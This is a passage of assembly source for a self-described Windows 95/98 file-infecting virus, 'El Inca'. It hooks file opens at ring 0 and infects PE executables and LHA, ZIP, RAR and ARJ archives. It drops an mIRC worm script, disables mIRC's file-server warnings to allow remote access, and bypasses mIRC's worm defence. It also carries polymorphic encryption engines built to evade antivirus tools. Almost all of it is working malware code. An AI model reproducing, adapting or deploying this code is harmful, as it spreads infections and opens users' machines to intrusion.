jne ExitNow ;only hook FileOpenz
WeAreUsingAPI:
cmp [OurFile], 0
jnz ExitNow ;recursive?
inc [OurFile]
GetPlainName:
pushad
mov ebx, offset32 FileName
mov eax, [ebp+16]
cmp al, -1
je NoDrive
add al, "@"
mov byte ptr [ebx], al ;if drive specificated,
inc ebx ;get it
mov byte ptr [ebx], ":"
inc ebx
NoDrive:
push BCS_WANSI
push 255
mov eax, [ebp+28]
mov eax, [eax+0ch]
add eax, 4
push eax
push ebx
VxDCall UniToBCSPAth ;make UNICODE a ASCII in our
add sp, 16 ;buffer
mov esi, ebx
add esi, eax
sub ebx, 2
mov byte ptr [esi], 0
push esi
mov eax, R0_FILEATTRIBUTES+GET_ATTRIBUTES
mov esi, offset32 FileName
VxDCall IFSMgr_Ring0_FileIO
mov [FileAttr], ecx ;save attributes
jc ExitCorrect
mov eax, R0_FILEATTRIBUTES+SET_ATTRIBUTES
xor ecx, ecx
mov esi, offset32 FileName
VxDCall IFSMgr_Ring0_FileIO ;kill attributes
pop esi
cmp dword ptr [esi-8], '23CR'
jne NomIRC ;we're opening MIRC32.EXE??
cmp word ptr [esi-10], 'IM'
jne NomIRC
cmp dword ptr [esi-4], 'EXE.'
jne NomIRC
DropWorm:
pushad
mov eax, R0_OPENCREAT_IN_CONTEXT
mov ebx, 2
mov cx, 01b
mov edx, 11h
mov esi, offset32 Killer ;create our payload file
VxDCall IFSMgr_Ring0_FileIO
mov ebx, eax
jc ErrorWorm
mov eax, R0_WRITEFILE
mov esi, offset32 KCode ;write payload code to it
mov ecx, KCodeSize
sub edx, edx
VxDCall IFSMgr_Ring0_FileIO
mov eax, R0_CLOSEFILE
VxDCall IFSMgr_Ring0_FileIO ;close it
mov eax, R0_OPENCREAT_IN_CONTEXT
mov ebx, 2
xor cx, cx
mov edx, 11h
mov esi, offset32 MircIni ;open MIRC.INI
VxDCall IFSMgr_Ring0_FileIO
mov ebx, eax
jc ErrorWorm
mov eax, R0_GETFILESIZE
VxDCall IFSMgr_Ring0_FileIO
jc ErrorWorm
mov edx, eax
mov eax, R0_WRITEFILE
mov esi, offset32 IMircIni ;set /FSERVER warnings off, so
mov ecx, InsertSize ;we can access this machine
VxDCall IFSMgr_Ring0_FileIO ;with impunity ;)
jc ErrorWorm
mov eax, R0_CLOSEFILE
VxDCall IFSMgr_Ring0_FileIO
mov eax, R0_OPENCREAT_IN_CONTEXT
mov ebx, 2
mov ecx, 01b
mov edx, 11h
mov esi, offset32 ScriptName2 ;create SCRIPT.NOT, to avoid
VxDCall IFSMgr_Ring0_FileIO ;build-in worm defense in
jc ErrorWorm ;mIRC
mov ebx, eax
mov eax, R0_CLOSEFILE
VxDCall IFSMgr_Ring0_FileIO
mov eax, R0_OPENCREAT_IN_CONTEXT
mov ebx, 2
mov ecx, 01b
mov edx, 11h ;create SCRIPT.INI
mov esi, offset32 ScriptName
VxDCall IFSMgr_Ring0_FileIO
jc ErrorWorm
mov ebx, eax
mov eax, R0_WRITEFILE
xor edx, edx
mov esi, offset32 ScriptIni ;write our inet spreading worm
mov ecx, ScriptSize ;and get ready to travel! :)
VxDCall IFSMgr_Ring0_FileIO
mov eax, R0_CLOSEFILE
VxDCall IFSMgr_Ring0_FileIO
mov eax, R0_OPENCREAT_IN_CONTEXT
mov ebx, 2
mov ecx, 01b
mov edx, 11h
mov esi, offset32 IncaName ;create virus dropper for inet
VxDCall IFSMgr_Ring0_FileIO ;spreading
jc ErrorWorm
mov ebx, eax
mov eax, R0_WRITEFILE
xor edx, edx
mov esi, [PolyDOSFileBuffer]
mov ecx, [PolyDOSFileSize]
VxDCall IFSMgr_Ring0_FileIO ;write dropper code
mov eax, R0_CLOSEFILE
VxDCall IFSMgr_Ring0_FileIO ;close it
ErrorWorm:
popad
NomIRC:
mov eax, dword ptr [esi-4]
not eax ;get extension(with little
cmp eax, not 'AHL.' ;encription to avoid lamerz)
je LHAInfect
cmp eax, not 'HZL.'
je LHAInfect
cmp eax, not 'KAP.'
je LHAInfect
cmp eax, not 'PIZ.' ;if archivers, go drop virus
je InfectZIP
cmp eax, not 'JRA.'
je InfectARJ
cmp eax, not 'RAR.'
je InfectRAR
cmp eax, not 'RCS.'
je InfectExecutableFile
cmp eax, not 'EXE.' ;if EXE or SCR, check for PE
jne ExitUnmark
InfectExecutableFile:
mov eax, R0_OPENCREATFILE
mov ebx, 2
xor cx, cx
mov edx, 11h
mov esi, offset32 FileName
VxDCall IFSMgr_Ring0_FileIO ;open probable host
mov [FileHandle], eax
jc ExitUnmark
mov ebx, eax
mov eax, R0_GETFILESIZE
VxDCall IFSMgr_Ring0_FileIO
jc ExitClose
mov [FileSize], eax
cmp eax, MINSIZEINFECT
jb ExitClose ;if too small, exit
mov eax, R0_READFILE
mov esi, offset32 CrcTab
mov ecx, 1024
xor edx, edx
VxDCall IFSMgr_Ring0_FileIO
jc ExitClose
cmp word ptr [esi], 'ZM'
je NEPECheck
cmp word ptr [esi], 'MZ'
jne ExitClose ;must be a EXE file
NEPECheck:
mov eax, [FileSize]
cmp dword ptr [esi+3ch], 0
jz ExitClose
cmp dword ptr [esi+3ch], eax ;probable PE sign in range?
ja ExitClose
InfectPE:
cmp [esi+3ch], 1024
jae ExitClose
lea eax, [esi+3ch]
add esi, [eax]
cmp dword ptr [esi], 'EP' ;must be a PE file
jne ExitClose
mov eax, R0_CLOSEFILE
mov ebx, [FileHandle]
VxDCall IFSMgr_Ring0_FileIO ;ready to infect, close file
mov ebp, 32*1024
call VxDMapFile ;map file in memory
jc ExitUnmark
call InfectPEFile ;infect it!
call VxDUnMapFile
jmp ExitUnmark ;unmap file
;this code goes inserted in
;PE filez, after the poly
PELoader: ;decription routine
call set_SEH
mov esp, [esp+8]
jmp ReturnHost ;if a fault happen, jump host
set_SEH:
xor edx, edx ;setup a SEH for us
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
call PEDelta
PEDelta:
pop ebp
sub ebp, (offset32 PEDelta-offset32 PELoader)
call AnaliseKernel32 ;get GetModuleHandleA and
jc ReturnHost ;GetProcAddressA from kernel32
;export table
lea esi, [ebp+(offset32 NamePtr-offset32 PELoader)]
lea edi, [ebp+(offset32 FAdress-offset32 PELoader)]
cld
GetFunctionAdress:
lodsd
or eax, eax
jz EndTable
add eax, ebp
call MyGetProcAdress ;get RVA of all functionz we
jc ReturnHost ;need
stosd
jmp GetFunctionAdress
EndTable:
sub eax, eax
push eax
push 010b
push 2 ;create W95INCA.COM in root
push eax ;dir
push 3
push 80000000h+40000000h
lea eax, [ebp+(offset32 PEName-offset32 PELoader)]
push eax
call dword ptr [ebp+(offset32 _CreateFile-offset32 PELoader)]
mov ebx, eax
inc eax
jz ReturnHost
push 0
lea eax, [ebp+(offset32 nWrite-offset32 PELoader)]
push eax
mov eax, 12345678h
PEDOSSize equ dword ptr $-4
push eax
mov eax, ebp
add eax, offset32 PELoaderSize ;write the DOS dropper in it
push eax
push ebx
call dword ptr [ebp+(offset32 _WriteFile-offset32 PELoader)]
push ebx ;close the file
call dword ptr [ebp+(offset32 _CloseHandle-offset32 PELoader)]
push 0
lea eax, [ebp+(offset32 PEName-offset32 PELoader)]
push eax ;f0rk DOS process
call dword ptr [ebp+(offset32 _WinExec-offset32 PELoader)]
push 3000 ;have 3 seconds to run
call dword ptr [ebp+(offset32 _Sleep-offset32 PELoader)]
lea eax, [ebp+(offset32 PEName-offset32 PELoader)]
push eax ;delete the dropper
call dword ptr [ebp+(offset32 _DeleteFile-offset32 PELoader)]
ReturnHost:
xor edx, edx
pop dword ptr fs:[edx]
pop edx
mov eax, 12345678h ;set base
LoadBase equ dword ptr $-4
add eax, 12345678h
OldIP equ dword ptr $-4 ;add host entry_point
push eax
ret
AnaliseKernel32:
mov edx, 0bff70000h ;base of KERNEL32 in win95/98
mov eax, edx
mov ebx, eax
add eax, [eax+3ch]
add ebx, [eax+120]
lea eax, [ebp+(offset32 gmh-offset32 PELoader)]
;string is 17 bytes long
mov [ebp+(offset32 szSearch-offset32 PELoader)], 17
;and setup pointer
mov [ebp+(offset32 strSearch-offset32 PELoader)], eax
call SearchET ;search export tabel for it
jc a_error
mov dword ptr [ebp+(offset32 pGetModuleHandle-offset32 PELoader)], eax
lea eax, [ebp+(offset32 gpa-offset32 PELoader)]
;string is 15 bytes long
mov [ebp+(offset32 szSearch-offset32 PELoader)], 15
;and setup pointer
mov [ebp+(offset32 strSearch-offset32 PELoader)], eax
call SearchET
jc a_error
mov dword ptr [ebp+(offset32 pGetProcAdress-offset32 PELoader)], eax
lea eax, [ebp+(offset32 kernel-offset32 PELoader)]
push eax
mov eax, [ebp+(offset32 pGetModuleHandle-offset32 PELoader)]
call eax ;get KERNEL32 module
mov dword ptr [ebp+(offset32 pKernel32Adress-offset32 PELoader)], eax
a_error:
ret
MyGetProcAdress:
push eax
push dword ptr [ebp+(offset32 pKernel32Adress-offset32 PELoader)]
mov eax, [ebp+(offset32 pGetProcAdress-offset32 PELoader)]
call eax
or eax, eax ;call GetProcAddress to get
jz GPAError ;all RVA we need
test al, 12h
org $-1 ;the good'n'old trick again ;)
GPAError:
stc
ret
SearchET:
mov eax, [ebx+32] ;search export table of
add eax, edx ;KERNEL32, searching the
ff:
mov esi, [eax] ;the names, then the ordinal
or esi, esi ;and, finally the RVA pointerz
jz fuck
add esi, edx
mov edi, 12345678h
strSearch equ dword ptr $-4
mov ecx, 12345678h
szSearch equ dword ptr $-4
rep cmpsb
jz found
add eax, 4
jmp ff
found:
sub eax, [ebx+32]
sub eax, edx
shr eax, 1
add eax, [ebx+36]
add eax, edx
movzx eax, word ptr [eax]
shl eax, 2
add eax, [ebx+28]
add eax, edx
mov eax, [eax]
add eax, edx
mov cl, 12h
org $-1
fuck:
stc
ret
kernel db 'KERNEL32', 0
nWrite dd 0
pGetProcAdress dd 0
pGetModuleHandle dd 0
pKernel32Adress dd 0bff70000h
gpa db 'GetProcAddress', 0
gmh db 'GetModuleHandleA', 0
sCreateFile db 'CreateFileA', 0
sWriteFile db 'WriteFile', 0
sCloseHandle db 'CloseHandle', 0
sWinExec db 'WinExec', 0
sDeleteFile db 'DeleteFileA', 0
sSleep db 'Sleep', 0
NamePtr equ this byte
dd (offset32 sCreateFile-offset32 PELoader)
dd (offset32 sWriteFile-offset32 PELoader)
dd (offset32 sCloseHandle-offset32 PELoader)
dd (offset32 sWinExec-offset32 PELoader)
dd (offset32 sDeleteFile-offset32 PELoader)
dd (offset32 sSleep-offset32 PELoader)
dd 0
PEName db 'C:\W95INCA.COM', 0
FAdress equ this byte
_CreateFile dd 0
_WriteFile dd 0
_CloseHandle dd 0
_WinExec dd 0
_DeleteFile dd 0
_Sleep dd 0
PELoaderEnd equ this byte
PELoaderSize equ offset32 PELoaderEnd - offset32 PELoader
InfectPEFile:
mov ebp, [esi+3ch] ;esi point to maped base
add ebp, esi ;ebp point to PE header
mov eax, 12345678h
cmp dword ptr [ebp+58h], eax ;is already infected?
mov dword ptr [ebp+58h], eax
je PE_done
mov eax, dword ptr [ebp+52]
cmp eax, 400000h ;normal base for appz
mov [LoadBase], eax
jne PE_done
movzx eax, word ptr [ebp+4h]
test eax, 2000h ;not infect DLL
jnz PE_done
movzx ecx, word ptr [ebp+6] ;numba of sectionz
mov eax, 40
sub edx, edx
mul ecx
add eax, ebp
add eax, 24
movzx ecx, word ptr [ebp+20] ;header size
add eax, ecx
mov edi, eax ;edi point to free entry
mov edx, eax
mov ecx, 40
sub eax, eax
repz scasb ;is really a free entry?
jnz PE_done
inc word ptr [ebp+6] ;inc number of sectionz
call rnd ;make new name
and eax, 11b
add eax, 4
mov ecx, eax
mov edi, edx
mName:
call rnd ;random letter for a random
and eax, 01111b ;name
add al, 'A'
stosb
loop mName
mov edi, edx
mov dword ptr [edi+36], 0e0000040h ;set section attribz
mov eax, [edi-40+12] ;prev virtual address
add eax, [edi-40+08] ;prev virtual size
call ObjAlign
mov [edi+12], eax ;virtual address
mov eax, [edi-40+16] ;prev offset to data
add eax, [edi-40+20] ;prev size of data
call FileAlign
mov [edi+20], eax ;offset to data
push eax
mov eax, [PolyPESize]
add eax, [totsize]
push eax
call ObjAlign
mov [edi+8], eax
add [ebp+80], eax
pop eax
call FileAlign
mov [edi+16], eax
mov eax, [edi+12]
mov ebx, [ebp+28h]
mov [ebp+28h], eax
mov [OldIP], ebx
mov eax, [edi+20]
add eax, [edi+16]
mov [VMF_size], eax
pop edi
add edi, [VMF_base]
mov esi, [PolyPEBuffer]
mov ecx, [PolyPESize]
rep movsb ;zopy PE poly to end of file
mov ecx, 30000h
call AllocMemory
push eax
push edi
push eax
mov edi, eax
mov esi, offset32 PELoader ;copy the PE loader
mov ecx, PELoaderSize
rep movsb
mov esi, [PolyDOSFileBuffer]
mov ecx, [PolyDOSFileSize]
rep movsb ;and the DOS loader
pop esi
pop edi
call encript_pe ;encript virus code
pop eax
call DeAllocMemory
inc dword ptr [VMF_sucess] ;is infected!
PE_done:
ret
ObjAlign:
mov ecx, [ebp+56]
jmp AlignThis
FileAlign:
mov ecx, [ebp+60]
AlignThis:
xor edx, edx
div ecx
or edx, edx
jz sAlign ;dont waste aligns when isnt
inc eax ;need
sAlign:
mul ecx
ret
LHAInfect:
bt [FileAttr], 0
jc ExitUnmark ;if read-only, exit
call PreparateDropper ;(is our marker)
dec ebp
mov edi, offset32 LHAFilename
call Random4Name ;create random name
mov ecx, [PolyDOSFileSize]
mov [LHACompressedSize], ecx
mov [LHAUncompressedSize], ecx
mov eax, R0_READFILE
mov ecx, 2
mov edx, 3
mov esi, offset32 Pad
VxDCall IFSMgr_Ring0_FileIO
jc ExitFree
xor eax, eax
xchg word ptr [esi], ax
cmp ax, 'hl'
jne ExitFree ;is really a LHA/LHZ shit?
xor ebx, ebx
mov ecx, LHAHeaderSize-2
mov esi, offset32 LHAMethod
CheckSumLoop:
lodsb
add bl, al
loop CheckSumLoop ;funny header checksum loop
mov [LHAHeaderCRC], bl
mov eax, R0_WRITEFILE
mov ebx, [FileHandle]
mov ecx, LHAHeaderSize
mov esi, offset32 LHASig
mov edx, ebp
add ebp, ecx
VxDCall IFSMgr_Ring0_FileIO
mov eax, R0_WRITEFILE
mov ecx, [PolyDOSFileSize]
mov edx, ebp
add ebp, ecx
mov esi, [BufferOneHandle]
VxDCall IFSMgr_Ring0_FileIO ;write it
mov eax, R0_WRITEFILE
mov ecx, 1
mov edx, ebp
mov esi, offset32 Pad
VxDCall IFSMgr_Ring0_FileIO
jmp ExitRO
InfectZIP:
bt [FileAttr], 0
jc ExitUnmark
call PreparateDropper ;create dropper
mov [ZIPRCRC32], eax
mov [ZIPLCRC32], eax
mov ecx, [PolyDOSFileSize]
mov [ZIPRCompressed], ecx
mov [ZIPRUncompressed], ecx ;set some ZIP stuff
mov [ZIPLCompressed], ecx
mov [ZIPLUncompressed], ecx
mov edi, offset32 ZIPRFileName
call Random4Name ;random name
mov eax, dword ptr [ZIPRFileName]
mov dword ptr [ZIPLFilename], eax
mov eax, R0_READFILE
mov ecx, ZIPEHeaderSize
sub ebp, ecx
mov edx, ebp
mov esi, offset32 ZIPReadBuffer
VxDCall IFSMgr_Ring0_FileIO
jc ExitFree
cmp word ptr [ZIPEHeaderId], 'KP' ;is a ZIP marker
jne ExitFree
cmp word ptr [ZIPSignature], 0605h
jne ExitFree
cmp dword ptr [ZIPNoDisk], 0
jnz ExitFree
inc word ptr [ZIPEntryDisk]
inc word ptr [ZIPEntrysDir]
add dword ptr [ZIPSizeDir], ZIPRHeaderSize
mov eax, [ZIPOffsetDir]
mov [ZIPROffsetLHeaderR], eax
mov ebp, eax
mov ecx, [ZIPSizeDir]
call AllocMemory
jz ExitFree
mov [BufferTwoHandle], eax
mov esi, eax
mov eax, R0_READFILE
mov ecx, [ZIPSizeDir]
mov edx, ebp
VxDCall IFSMgr_Ring0_FileIO ;read tonz of headers and
jc ExitDealloc ;write they back after
cld ;modificationz
mov ecx, ZIPRHeaderSize ;(ZIP really sux)
mov edi, [BufferTwoHandle]
add edi, [ZIPSizeDir]
sub edi, ecx
mov esi, offset32 ZIPRHeaderId
rep movsb
mov eax, R0_WRITEFILE
mov ecx, offset32 ZIPReadBuffer-offset32 ZIPLHeaderId
mov edx, ebp
add ebp, ecx
mov esi, offset32 ZIPLHeaderId
VxDCall IFSMgr_Ring0_FileIO
jc ExitDealloc
mov eax, R0_WRITEFILE
mov ecx, [PolyDOSFileSize]
mov edx, ebp
add ebp, ecx
mov [ZIPOffsetDir], ebp
mov esi, [BufferOneHandle]
VxDCall IFSMgr_Ring0_FileIO
jc ExitDealloc
mov eax, R0_WRITEFILE
mov ecx, [ZIPSizeDir]
mov edx, ebp
add ebp, ecx
mov esi, [BufferTwoHandle]
VxDCall IFSMgr_Ring0_FileIO
jc ExitDealloc
mov eax, R0_WRITEFILE
mov ecx, ZIPEHeaderSize
mov edx, ebp
mov esi, offset32 ZIPReadBuffer
VxDCall IFSMgr_Ring0_FileIO
ExitDealloc:
mov eax, [BufferTwoHandle]
call DeallocMemory
jmp ExitRO
InfectRAR:
bt [FileAttr], 0
jc ExitUnmark ;bahh... the same shit, but
call PreparateDropper ;this time for RAR
mov [RARFileCRC], eax
mov edi, offset32 RARFileName
call Random4Name
mov ecx, [PolyDOSFileSize]
mov [RARCompressedSize], ecx
mov [RARUncompressedSize], ecx
mov eax, R0_READFILE
mov ecx, 4
xor edx, edx
mov esi, offset32 Pad
VxDCall IFSMgr_Ring0_FileIO
jc ExitFree
cmp [esi], '!raR'
jne ExitFree
mov esi, offset32 RARHeaderType
mov edi, offset32 RARHeaderEnd-offset32 RARHeaderType
call CRC32
mov [RARHeaderCRC], cx
mov eax, R0_WRITEFILE
mov ecx, offset32 RARHeaderEnd-offset32 RARHeaderCRC
mov esi, offset32 RARHeaderCRC
mov edx, ebp
add ebp, ecx
VxDCall IFSMgr_Ring0_FileIO
mov eax, R0_WRITEFILE
mov ecx, [PolyDOSFileSize]
mov edx, ebp
mov esi, [BufferOneHandle]
VxDCall IFSMgr_Ring0_FileIO
jmp ExitRO
InfectARJ:
bt [FileAttr], 0
jc ExitUnmark
call PreparateDropper ;uhh... again for ARJ
sub ebp, 4
mov [ARJFileCRC], eax ;(i only do this because there
mov edi, offset32 ARJFilename ;stupid peoples that run new
call Random4Name ;strange filez)
mov ecx, [PolyDOSFileSize]
mov [ARJCompressedSize], ecx
mov [ARJUncompressedSize], ecx
mov eax, R0_READFILE
mov ecx, 2
xor edx, edx
mov esi, offset32 Pad
VxDCall IFSMgr_Ring0_FileIO
jc ExitFree
cmp word ptr [esi], 0ea60h
jne ExitFree
mov edi, offset32 ARJHeaderCRC-offset32 ARJ1HeaderSize
mov esi, offset32 ARJ1HeaderSize
call CRC32
mov [ARJHeaderCRC], eax
mov eax, R0_WRITEFILE
mov ecx, offset32 ARJEnd-offset32 ARJHeaderId
mov esi, offset32 ARJHeaderId
mov edx, ebp
add ebp, ecx
VxDCall IFSMgr_Ring0_FileIO
jc ExitFree
mov eax, R0_WRITEFILE
mov ecx, [PolyDOSFileSize]
mov edx, ebp
add ebp, ecx
mov esi, [BufferOneHandle]
VxDCall IFSMgr_Ring0_FileIO
jc ExitFree
mov eax, R0_WRITEFILE
mov ecx, 4
mov edx, ebp
mov esi, offset32 ARJEnd
VxDCall IFSMgr_Ring0_FileIO
ExitRO:
or [FileAttr], 01b ;set inf marker(avoid lame
ExitFree: ;AVs like TBCLEAN, that cant
mov eax, [BufferOneHandle] ;clean r-o file)
call DeAllocMemory
ExitClose:
mov eax, R0_CLOSEFILE
mov ebx, [FileHandle]
VxDCall IFSMgr_Ring0_FileIO
ExitUnmark:
mov eax, R0_FILEATTRIBUTES+SET_ATTRIBUTES
mov ecx, [FileAttr]
mov esi, offset32 FileName
VxDCall IFSMgr_Ring0_FileIO ;restore attribz
popad
ExitCorrect:
mov [OurFile], 0
ExitNow:
mov eax, [ebp+28]
push eax
mov eax, [ebp+24]
push eax
mov eax, [ebp+20]
push eax
mov eax, [ebp+16]
push eax
mov eax, [ebp+12]
push eax
mov eax, [ebp+8]
push eax
mov eax, [nexthook]
call [eax] ;continue next caller
add esp, 20h
leave
ret
EndProc FONO98_File_System
db 13d, 'El Inca virus', 13d ;yeahh... this is the name
BeginProc PreparateDropper
mov eax, R0_OPENCREATFILE
mov ebx, 2
xor cx, cx ;used for archivers infection
mov edx, 11h
mov esi, offset32 FileName
VxDCall IFSMgr_Ring0_FileIO
mov [FileHandle], eax ;here we get the size of file
mov ebx, eax ;copy some shitz and calculate
jc ExitUnmark ;crc16 and crc32
mov eax, R0_GETFILESIZE
VxDCall IFSMgr_Ring0_FileIO
jc ExitClose
mov ebp, eax
cld
mov ecx, [PolyDOSFileSize]
call AllocMemory ;alloc memory for loader
jz ExitClose ;and vxd
mov [BufferOneHandle], eax
mov edi, eax
mov esi, [PolyDOSFileBuffer]
mov ecx, [PolyDOSFileSize]
push ecx
rep movsb ;zopi loader
pop ecx
push ecx
mov esi, [BufferOneHandle]
push esi
call CRC16
mov [LHACRC16], ax ;only LHZ use crc16
pop esi
pop edi
call CRC32 ;crc32 returned in eax for
ret ;otherz
EndProc PreparateDropper
BeginProc VxDMapFile
mov eax, R0_OPENCREATFILE ;hey... i also have a map
mov ebx, 2 ;file function... ;)
xor ecx, ecx
mov [VMF_sucess], ecx
mov edx, 11h
mov esi, offset32 FileName
VxDCall IFSMgr_Ring0_FileIO
mov [VMF_handle], eax
jc VMF_ret
mov ebx, eax
mov eax, R0_GETFILESIZE
VxDCall IFSMgr_Ring0_FileIO
mov [VMF_size], eax
jc VMF_close
push eax
mov ecx, eax
add ecx, ebp ;alloc enought memory for
call AllocMemory ;file and workspace
mov [VMF_base], eax
mov esi, eax
pop ecx
jz VMF_close
mov eax, R0_READFILE
xor edx, edx ;map it out!
VxDCall IFSMgr_Ring0_FileIO
jc VMF_free
VMF_ret:
ret
EndProc VxDMapFile
BeginProc VxDUnMapFile
mov ecx, 12345678h
VMF_sucess equ dword ptr $-4
jecxz VMF_close ;should we update it?
mov eax, R0_WRITEFILE
mov ecx, [VMF_size]
sub edx, edx
mov ebx, [VMF_handle]
mov esi, [VMF_base] ;write infected PE
VxDCall IFSMgr_Ring0_FileIO
VMF_close:
mov eax, R0_CLOSEFILE
VxDCall IFSMgr_Ring0_FileIO ;close it
VMF_free:
mov eax, [VMF_base]
call DeAllocMemory ;free allocated memory
ret
EndProc VxDUnMapFile
BeginProc AllocMemory
push ecx
push HEAPSWAP+HEAPZEROINIT
push ecx
VMMCall _HeapAllocate ;memory allocation routine
add sp, 8
or eax, eax
pop ecx
ret
EndProc AllocMemory
BeginProc DeAllocMemory
push 0
push eax
VMMCall _HeapFree
add sp, 8
ret
EndProc DeAllocMemory
BeginProc CRC32
cld
push ebx
mov ecx, -1 ;look at this!!!!
mov edx, ecx
NextByteCRC:
xor eax, eax ;our crc32 dont need huge
xor ebx, ebx ;tables or shit like...
lodsb
xor al, cl ;all calculated at runtime
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
NextBitCRC:
shr bx, 1
rcr ax, 1
jnc NoCRC
xor ax, 08320h
xor bx, 0edb8h
NoCRC:
dec dh
jnz NextBitCRC
xor ecx, eax
xor edx, ebx
dec di
jnz NextByteCRC
not edx
not ecx
pop ebx
mov eax, edx
rol eax, 16
mov ax, cx ;thx2zenghxi
ret
EndProc CRC32
VIRSIZE equ 4000H
gldr:
cld ;our 16bit poly engine
mov [pDOSBase], esi ;designed for boot and dropperz
mov edi, offset32 rgtbl
sub edx, edx
mov ebx, edx
push edi
mov eax, edx
mov dword ptr [edi-4], eax
mov ecx, 8
rep stosw ;init regz mirrors
pop edi
xchg esi, edi
mov byte ptr [opcode1], 0b8h
mov byte ptr [opcode2], 89h
mov word ptr [_sp], -1
mov byte ptr [gtype], gfl
@a1:
mov ecx, 8
call creg
call gopc
push edi
mov edi, esi
sub eax, eax
repnz scasw ;all regz initialized?
pop edi
jz @a1
call rnd
and eax, 011111b
adc eax, 8
mov ecx, eax
@a2:
call garble ;create some junk
loop @a2
cmp byte ptr [maq], 0
jne maqfile
mov eax, 00000202h ;floppy paramz
mov ebx, 0001000fh ;hi=reg
mov edx, 00020100h ;lo=value
mov ebp, 00037e00h
call mxrg ;mix order
mov byte ptr [gtype], gnf
push eax
push ebx
push edx
push ebp
mov ecx, 4
@a8:
xor eax, eax
mov edx, eax
pop ax
pop dx
bts word ptr [rgusg], dx
call mrval
push ecx
call rnd
and eax, 0111b
inc eax
mov ecx, eax
@a9:
call garble ;garble a bit more
loop @a9
pop ecx
loop @a8
mov ax, 013cdh ;int 13
stosw
mov byte ptr [gtype], gfl
mov word ptr [rgusg], 1000b
call mgarble
mov al, 06 ;push es
stosb
call mgarble
mov al, 53h ;push bx
stosb
call mgarble
mov al, 0cbh ;retf
stosb
ret
mgarble:
push ecx
call rnd
and eax, 0111b
inc eax
mov ecx, eax ;1-8 garbage calls
@b9:
call garble
loop @b9
pop ecx
ret
maqfile:
mov byte ptr [gtype], gnf
@c0:
call rnd
or al, al
jz @c0
mov byte ptr [key], al
call creg
mov byte ptr [cntreg], dl
bts word ptr [rgusg], dx
call rnd
and eax, 0111111111111b
add ax, word ptr [esi+edx*2]
add ax, VIRSIZE
mov word ptr [cntregv], ax
@c1:
call rnd
and eax, 011b
add al, al
add eax, offset32 crtbl
mov ax, word ptr [eax]
movzx edx, ah
bts word ptr [rgusg], dx
jc @c1
mov byte ptr [pntreg], dl
mov byte ptr [encintr], al
mov ax, word ptr [esi+edx*2]
mov word ptr [pntregv], ax
mov dword ptr [strloop], edi
call mgarble
mov al, 80h
mov ah, byte ptr [encintr]
stosw
push edi
stosw
mov al, byte ptr [key]
stosb
call mgarble
mov al, 040h
or al, byte ptr [pntreg]
stosb
call mgarble
mov al, 040h
or al, byte ptr [cntreg] ;inc counter
stosb
call mgarble
mov ax, 0f881h
or ah, byte ptr [cntreg]
stosw
mov ax, word ptr [cntregv]
stosw
mov ax, 0074h
stosw
push edi
call mgarble
mov al, 0e9h
stosb
mov eax, edi
sub eax, dword ptr [strloop]
add eax, 2
neg eax
stosw
call mgarble
pop ebp
mov ecx, edi
sub ecx, ebp
mov byte ptr [ebp-1], cl
call mgarble
call mgarble
mov word ptr [rgusg], 0
pop ebp
mov ecx, edi
sub ecx, [pDOSBase]
add ecx, 100h
movzx eax, word ptr [pntregv]
sub ecx, eax
mov word ptr [ebp], cx
ret
mxrg:
push eax
call rnd
and eax, 0111b
inc eax
mov ecx, eax
pop eax
@c3:
call rndf
jc @c4
xchg eax, ebx ;randomize order
@c4:
call rndf
jc @c5
xchg ebx, edx
@c5:
call rndf
jc @c6
xchg edx, ebp
@c6:
call rndf
jc @c7
xchg ebp, eax
@c7:
loop @c3
ret
garble:
cmp [maq], 0
je artm
call rnd
and eax, 0111b
cmp eax, 0111b
jne artm
push ecx ;make a jump
call rnd
and eax, 0111b
add eax, 4
mov ecx, eax
mov ah, 0ebh
xchg al, ah
stosw
ngrb:
call rnd
stosb
loop ngrb
pop ecx
ret
artm:
mov ebx, offset32 optbl
@d1:
call rnd
and eax, 0111b
gtype equ byte ptr $-1
gfl = 0111b
gnf = 0011b
cmp al, 5
ja @d1
add al, al
mov ax, word ptr [ebx+eax] ;make aritm
mov byte ptr [opcode1], ah
mov byte ptr [opcode2], al
call creg
call gopc
ret
creg:
call rnd
and eax, 0111b
cmp al, 4
jne @e1
inc al
@e1:
mov dl, al
bt word ptr [rgusg], dx ;used
jc creg
ret
gopc:
mov bl, 12h
opcode1 equ byte ptr $-1
mov al, 81h
cmp bl, 0c0h
jb @f1
stosb
@f1:
mov al, bl
or al, dl
stosb
call rnd
stosw
mov bx, ax
mov ax, word ptr [flags]
sahf ;look this!
opcode2 equ byte ptr $+1 ;the decriptor depends
mov word ptr [esi+edx*2], bx ;of the garbage code!
lahf ;we keep track of all, regs
mov word ptr [flags], ax ;and flags!!!! :)
ret
mrval:
push eax
call rnd
and eax, 011b ;ask a value... we make it
or eax, eax ;(in the requested reg) using
jz @g1 ;math and the current garbage
dec eax ;status! no more fixed movs :)
@g1:
add al, al
movzx eax, word ptr [offset32 fxtbl+eax]
or al, dl
xchg al, ah
mov byte ptr [opcode3], al
mov al, 81h
stosw
cmp byte ptr [opcode3], 3 ;(as you noticed, i'm very
pop eax ;proud of this engine)
jnz @g2
neg eax
@g2:
movzx ebx, word ptr [esi+edx*2]
jmp @g3
@g3:
xor eax, ebx
opcode3 equ byte ptr $-2 ;xor/add/sub
stosw
ret
rnd:
push ecx
push edx
mov eax, 12345678h ;congruential something... :)
seed equ dword ptr $-4
mov ecx, eax
imul eax, 41c64e6dh
add eax, 3039h ;thankz to GriYo...
ror ax, 1 ;(do you not imagine how hard
mov dword ptr [seed], eax ;is code a decent rnd routine)
xor eax, ecx
pop edx
pop ecx
ret
rndf:
push eax
call rnd
pop eax
bt eax, 1 ;random z flag
ret
pDOSBase dd 0
maq db 0
key db 0
strloop dd 0
cntregv dw 0
cntreg db 0
pntregv dw 0
pntreg db 0
encintr db 0
optbl dw 0b889h, 0f031h, 0c001h, 0e829h, 0d011h, 0d819h
; MOV XOR ADD SUB ADC SBB
fxtbl dw 033f0h, 02bc0h, 003e8h
; XOR ADD SUB
crtbl dw 03b7h, 05b6h, 06b4h, 07b5h
flags dw 0
rgusg dw 0
rgtbl equ this byte
_ax dw 0
_cx dw 0
_dx dw 0
_bx dw 0
_sp dw 0
_bp dw 0
_si dw 0
_di dw 0
PolyDOSSize equ $ - offset32 gldr
peng:
push edi ;our 32bit poly engine
push edi
mov [totsize], ecx
cld
mov edi, offset32 crptbl
mov ecx, 101h
sub edx, edx
tlp:
mov byte ptr [edi+edx], dl
inc edx
